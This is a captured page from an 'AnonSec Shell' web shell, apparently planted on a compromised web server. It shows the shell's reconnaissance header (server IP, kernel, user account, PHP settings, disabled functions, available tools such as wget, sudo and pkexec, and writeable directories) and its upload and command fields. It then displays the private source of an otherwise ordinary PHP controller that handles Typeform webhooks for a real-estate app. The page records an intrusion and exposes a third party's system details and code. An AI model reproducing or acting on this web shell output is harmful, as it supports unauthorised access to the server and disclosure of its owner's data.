AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/gasch/application/plugins/module_arbo/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/gasch/application/plugins/module_arbo/controllers/ArboController.php
<?php

require_once "Controller.php";
require_once __DIR__ . "/../models/ArboFormsModel.php";
require_once __DIR__ . "/../models/ArboFormDataModel.php";
require_once __DIR__ . "/../models/GaiaImovelModel.php";
require_once __DIR__ . "/../models/GaiaProposalModel.php";

class ArboController extends Controller
{
	/**
	 * @var
	 */
	protected $model;

	/**
	 * @var
	 */
	protected $ArboFormsModel;

	/**
	 * @var
	 */
	protected $ArboFormDataModel;

	/**
	 * @var GaiaImovelModel
	 */
	protected $GaiaImovelModel;

	/**
	 * @var GaiaProposalModel
	 */
	protected $GaiaProposalModel;

	/**
	 * ArboController constructor.
	 * @param $ui
	 * @param $_L
	 * @param $config
	 * @param $_pd
	 */
	public function __construct($ui, $_L, $config, $_pd)
	{
		parent::__construct($ui, $_L, $config, $_pd);

		$this->ArboFormsModel 		= new ArboFormsModel();
		$this->ArboFormDataModel 	= new ArboFormDataModel();
		$this->GaiaImovelModel 		= new GaiaImovelModel();
		$this->GaiaProposalModel	= new GaiaProposalModel();
	}

	/**
	 *
	 */
	public function import()
	{
		if($_SERVER['REQUEST_METHOD'] == 'POST') {
			$json_response = file_get_contents("php://input");
//			$json_response = '';

			// Impede que o script seja encerrado
			ignore_user_abort(true);
			set_time_limit(0);

			// Encerra a conexão HTTP com o Webhooks, porém o restante
			// do script do Robô continua a execução normalmente.
			ob_start();
			echo "";
			header('Connection: close');
			header('Content-Length: '.ob_get_length());
			ob_end_flush();
			ob_flush();
			flush();

			if (!empty($json_response)) {
				$data_response = json_decode($json_response, true);
			}

			$data_forms = array();
			$data_forms['form_id'] 		= $data_response['form_response']['form_id'];
			$data_forms['submitted_at'] = date('Y-m-d H:i:s', strtotime($data_response['form_response']['submitted_at']));
			$data_forms['type'] 		= $data_response['form_response']['definition']['title'];
			$model_forms = $this->ArboFormsModel->createRecord($data_forms);
			$form_id = $model_forms->id();

			$fields = $data_response['form_response']['definition']['fields'];
			$answers = $data_response['form_response']['answers'];

			$owner = '';
			foreach ($fields as $i => $item) {
				$fields_values = array();
				$fields_values['form_id'] = $form_id;

				$field = str_replace('<br />', '', trim($item['title']));
				$type = (isset($answers[$i]['type'])) ? $answers[$i]['type'] : null;

				if ($type == 'choices') {
					$answer = $answers[$i]['choices']['labels'];
				} else if ($type == 'choice') {
					$answer = $answers[$i]['choice']['label'];
				} else {
					$answer = (isset($answers[$i][$type])) ? $answers[$i][$type] : null;
				}

				$answer = (is_array($answer)) ? implode(', ', $answer) : trim($answer);

				$field_clean = preg_replace("/([\s]?{{answer_[0-9]+}}[,\s]+)|([\s]?{{answer_[0-9]+}})|(<\/?.*?>)/", '', $field);
				$field_clean = preg_replace("/([,|\s])\?$/", '?', $field_clean);
				$value_clean = preg_replace("/{{answer_[0-9]+}}\s/", '', $answer);

				if (trim($field_clean) == "Vamos inciar pelo mais importante... como você se chama?") {
					$owner = $value_clean;
				}

				$fields_values['field'] = $field_clean;
				$fields_values['value'] = $value_clean;

				$this->ArboFormDataModel->createRecord($fields_values);
			}

			// Registra um log da requisição do TypeForm
			// Ativar o log: ?ng=module_arbo/arbo/import/log
			if (isset($this->routes[3]) && $this->routes[3] == 'log') {
				$prefix = "Request received in " . date('d/m/Y H:i:s') . ":\n";
				$sufix = "\n\n";
				$log_file = $this->_pd . "/storage/typeform/webhooks/log.txt";

				if (!is_writable($log_file)) {
					die('Failed. The file "/storage/typeform/webhooks/log.txt" is not writable.');
				}

				file_put_contents($log_file, $prefix . $json_response . $sufix, FILE_APPEND);

				$log = ORM::for_table('module_arbo_robo_logs')->create();
				$log->date = date('Y-m-d H:i:s');
				$log->owner = $owner;
				$log->description = "Dados recebidos do TypeForm";
				$log->data = $json_response;
				$log->operation = 'INPUT';
				$log->status = '';
				$log->ip = $_SERVER['REMOTE_ADDR'];
				$log->save();
			}

			// Enviar os dados para a Gaia
			if ($data_forms['type'] == "Cadastre seu Imóvel na Arbo")
				$this->GaiaImovelModel->fillFieldsImovel($form_id);
			else if ($data_forms['type'] == "Propostas de Locação")
				$this->GaiaProposalModel->fillFieldsProposal($form_id);
		}
	}

	/**
	 * Action para listagem de propostas de locação e cadastros de imóveis
	 */
	public function listArbo()
	{
		$type = $this->routes['3'];
		$this->ui->assign('_st', $this->_L['Arbo']);
		$this->ui->assign('type', $type);

		$where = array();
		if($type == 'proposals')
			$where['type'] = 'Propostas de Locação';
		if($type == 'realestate')
			$where['type'] = 'Cadastre seu Imóvel na Arbo';

//		$forms = $this->ArboFormsModel->all($where, 'id', 'desc');
		$forms = ORM::for_table('module_arbo_forms')
			->table_alias('f')
			->select('f.*')
			->select('fd.field')
			->select('fd.value')
			->join('module_arbo_form_data', 'f.id = fd.form_id', 'fd')
			->where_like('fd.field', 'Vamos inciar pelo mais importante... como você se chama?')
			->order_by_desc('id')
			->find_many();
		$this->ui->assign('forms', $forms);

		$this->ui->assign('_include', 'list');
		$this->ui->display('wrapper.tpl');
	}

	/**
	 * Action para listagem de propostas de locação e cadastros de imóveis
	 */
	public function view()
	{
		$id = $this->routes['3'];
		$type = $this->routes['4'];
		$this->ui->assign('_st', $this->_L['Arbo']);
		$this->ui->assign('type', $type);

		$form = $this->ArboFormsModel->findWithFormDataArray($id);
		$this->ui->assign('form', $form);

		$this->ui->assign('_include', 'view');
		$this->ui->display('wrapper.tpl');
	}
}

Anon7 - 2022
AnonSec Team